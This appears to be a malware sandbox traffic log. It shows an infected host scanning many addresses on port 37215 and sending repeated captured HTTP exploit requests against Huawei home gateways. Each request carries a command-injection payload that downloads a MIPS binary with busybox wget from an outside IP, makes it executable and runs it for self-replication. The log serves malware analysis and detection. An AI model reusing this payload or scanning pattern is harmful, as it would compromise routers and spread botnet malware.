Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 41.179.94.127:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 41.208.171.101:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 156.74.126.244:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 156.239.193.210:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 41.156.55.24:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 197.115.208.67:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 41.109.11.19:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 197.180.125.52:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 41.30.58.84:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 197.230.126.148:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 197.115.221.178:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 156.196.76.162:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 197.26.40.102:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 197.232.210.136:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 156.219.122.25:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 197.176.89.187:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 41.198.249.123:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 156.240.243.57:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 197.249.32.171:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 41.200.128.151:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 156.46.213.210:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 156.200.202.149:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 41.38.47.87:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 41.246.85.24:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 197.237.212.161:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 156.109.41.81:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 41.212.134.108:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 41.21.202.97:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 156.126.65.156:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 156.222.65.121:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 41.139.144.202:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 156.213.217.64:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 156.90.120.247:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 41.41.183.233:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 41.116.127.191:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 156.207.163.241:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 41.161.51.247:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 41.94.42.187:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 197.153.206.196:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 156.57.169.149:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 41.160.228.144:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 156.68.233.115:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 197.136.102.226:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 197.33.180.154:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 197.17.80.121:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 156.165.40.26:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 41.53.225.57:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 41.120.128.51:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 41.89.3.27:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 197.97.84.164:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 197.88.218.135:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 156.249.87.141:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 156.103.115.156:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 156.197.180.177:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 41.51.40.224:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 197.179.143.154:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 197.221.229.147:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 41.245.104.163:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 41.245.33.212:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 41.153.198.229:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 156.103.34.198:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 197.134.45.23:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 41.178.205.119:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 156.161.133.81:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 156.64.45.223:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 156.132.179.63:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 197.67.61.117:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 156.169.184.254:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 156.107.202.169:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 156.244.229.183:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 41.63.35.35:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 197.33.166.33:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 41.191.167.227:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 197.149.76.160:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 197.248.16.226:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 156.102.225.131:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 156.80.202.67:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 41.239.254.95:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 156.59.202.196:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 41.222.4.16:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 41.76.94.195:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 156.152.136.52:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 156.168.206.28:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 156.89.80.169:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 197.140.247.46:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 197.55.205.182:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 41.81.130.143:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 41.133.181.143:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 41.49.114.100:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 197.23.234.99:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 197.131.12.108:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 197.165.138.240:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 41.21.230.144:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 156.226.16.216:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 156.145.129.26:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 41.202.164.222:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 41.113.178.27:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 197.179.20.98:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 41.19.141.133:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 156.83.25.222:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 197.91.63.235:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 156.241.59.3:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 197.13.45.110:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 197.185.163.121:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 197.194.141.129:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 41.32.145.86:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 156.123.214.16:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 41.100.190.139:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 41.92.229.24:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 197.237.247.65:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 41.38.63.90:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 41.106.157.203:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 156.71.49.37:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 156.225.117.30:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 41.68.234.119:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 197.16.201.164:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 197.246.48.135:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 197.20.206.131:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 41.51.219.45:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 41.14.171.125:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 41.247.110.92:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 41.171.138.138:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 41.86.122.54:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 41.133.123.66:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 156.139.163.164:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 41.34.29.162:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 197.68.55.106:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 156.93.245.218:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 156.185.31.240:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 41.23.210.56:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 156.10.33.83:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 41.213.107.252:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 197.232.31.166:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 197.126.170.37:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 156.240.35.209:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 41.70.145.139:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 41.75.127.93:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 197.213.35.127:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 197.166.79.213:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 197.132.28.199:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 197.33.126.212:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 41.137.11.51:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 156.67.248.39:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 197.76.17.30:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 41.158.46.238:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 197.56.136.174:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 197.226.120.23:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 197.23.56.221:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 197.169.117.120:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 41.152.178.47:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 41.103.67.90:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 156.182.169.175:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 197.146.53.127:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 197.43.253.118:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 41.33.115.193:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 156.11.122.104:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 197.136.64.6:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 156.52.187.137:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 41.165.222.177:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 197.136.15.166:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 197.39.47.48:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 156.54.158.103:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 156.76.161.116:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 156.133.185.70:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 197.38.98.85:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 156.251.30.18:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 156.75.98.184:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 156.101.85.208:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 197.132.244.87:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 156.117.5.226:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 41.216.121.18:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 156.132.123.238:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 41.47.119.247:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 197.109.71.7:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 156.104.132.225:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 197.241.240.216:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 156.239.127.5:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 197.142.161.131:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 156.102.133.160:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 41.221.1.197:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 156.184.190.31:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 156.109.173.5:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 156.94.110.32:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 41.7.56.79:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 41.147.42.9:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 197.233.11.137:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 41.224.198.223:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 41.103.210.152:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 156.153.237.73:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 41.44.58.52:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 197.35.153.64:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 156.245.3.152:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 197.32.170.116:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 197.48.152.101:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 156.151.48.50:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 41.241.152.95:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 197.12.107.37:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 197.113.42.250:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 156.52.76.165:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 156.51.189.206:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 156.224.60.147:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 41.247.53.92:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 197.47.89.34:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 41.131.227.122:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 156.125.66.251:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 41.198.238.195:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 41.212.1.88:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 156.29.147.93:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 197.235.89.37:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 41.129.167.63:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 41.2.34.167:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 41.193.160.203:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 197.9.14.165:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 197.36.234.8:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 41.187.26.253:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 156.212.251.153:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 156.72.52.46:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 41.201.29.69:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 41.32.120.76:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 41.127.41.125:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 41.226.189.179:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 197.123.187.36:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 156.155.135.42:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 156.88.41.127:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 41.129.166.177:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 197.164.231.18:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 41.41.55.44:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 41.131.172.228:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 41.133.253.186:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 197.177.156.105:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 156.50.75.154:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 41.200.185.139:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 156.173.131.133:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 197.47.110.12:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 156.143.200.242:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 156.159.212.23:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 41.144.186.181:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 41.1.40.211:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 197.202.102.214:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 197.140.53.100:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 41.76.111.51:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 197.135.215.139:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 156.78.116.238:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 197.159.53.181:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 41.217.45.166:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 41.86.163.130:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 156.7.84.10:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 197.27.127.83:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 156.9.236.79:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 41.61.183.190:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 156.82.214.139:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 156.195.22.219:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 156.203.190.142:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 197.228.222.226:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 41.159.227.197:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 41.157.115.80:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 41.9.62.221:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 156.7.21.61:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 156.215.193.255:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 41.181.125.87:37215
Source: global traffic	TCP traffic: 192.168.2.13:38811 -> 156.154.182.87:37215

Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 36 39 2e 31 32 39 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.169.129 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 36 39 2e 31 32 39 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.169.129 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 